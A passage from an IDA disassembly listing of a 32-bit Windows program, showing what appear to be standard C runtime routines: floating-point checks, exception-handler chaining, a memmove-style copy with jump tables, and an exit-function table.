dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx ; int push ecx ; char fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx ; int push ecx ; char fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call 